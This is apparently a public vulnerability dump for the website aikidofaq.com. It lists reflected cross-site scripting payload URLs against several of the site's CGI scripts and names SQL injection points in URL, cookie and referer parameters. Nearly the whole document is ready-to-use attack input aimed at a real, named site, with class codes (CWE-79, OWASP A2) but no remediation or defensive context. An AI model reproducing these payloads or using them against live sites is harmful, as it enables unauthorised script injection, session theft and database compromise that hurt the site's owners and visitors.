aikidofaq.com

XSS

Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79

http://aikidofaq.com/cgi-bin/sensei.pl/"ns="alert(0x0001BC)
http://aikidofaq.com/cgi-bin/sensei.pl?'"--></style></script><script>alert(0x000458)</script>
http://aikidofaq.com/cgi-bin/bibliography.cgi/"ns="alert(0x0001C9)
http://aikidofaq.com/cgi-bin/bibliography.cgi?'"--></style></script><script>alert(0x00047A)</script>
http://aikidofaq.com/cgi-bin/aikido.pl/><iframe onload=alert(9)>
http://aikidofaq.com/cgi-bin/search_dict.pl?navn='"--></style></script><script>alert(0x000C5C)</script>
http://aikidofaq.com/cgi-bin/aikido.pl/"ns="alert(0x0008F3)
http://aikidofaq.com/cgi-bin/aikido.pl/Search?'"--></style></script><script>alert(0x000CA8)</script>
http://aikidofaq.com/cgi-bin/sensei.pl/><iframe onload=alert(9)>
http://aikidofaq.com/cgi-bin/sensei.pl/?'"--></style></script><script>alert(0x000D66)</script>
http://aikidofaq.com/cgi-bin/aikido.pl/Search?days=7&sort=WCRTESTINPUT000001<>%3c%3e%253c%253e&cookie=NEWS

* SQLi
http://aikidofaq.com/cgi-bin/aikido.pl/Search?days=7&sort=TIME&cookie=NEWS
Parameter	cookie=NEWS
Type	String
KWordActionURL	Aikido
Vulnerability	URL SQL INJECTION

http://aikidofaq.com/woda/data/sensei/_cache/?C=N;O=D
Parameter	C=N;O=D
Type	String
KWordActionURL	Index
Vulnerability	URL SQL INJECTION

* Cookie SQL Injection
http://aikidofaq.com/cgi-bin/aikido.pl/LoginOrRegister^referer=http%3a%2f%2faikidofaq%2ecom%2fcgi%2dbin%2faikido%2epl%2f
Parameter	referer=http%3a%2f%2faikidofaq%2ecom%2fcgi%2dbin%2faikido%2epl%2f
Type	String
KWordActionURL	Aikido

http://aikidofaq.com/cgi-bin/bibliography.cgi/LoginOrRegister^referer=http%3a%2f%2faikidofaq%2ecom%2fcgi%2dbin%2fbibliography%2ecgi%2f
Parameter	referer=http%3a%2f%2faikidofaq%2ecom%2fcgi%2dbin%2fbibliography%2ecgi%2f
Type	String
KWordActionURL	Aikido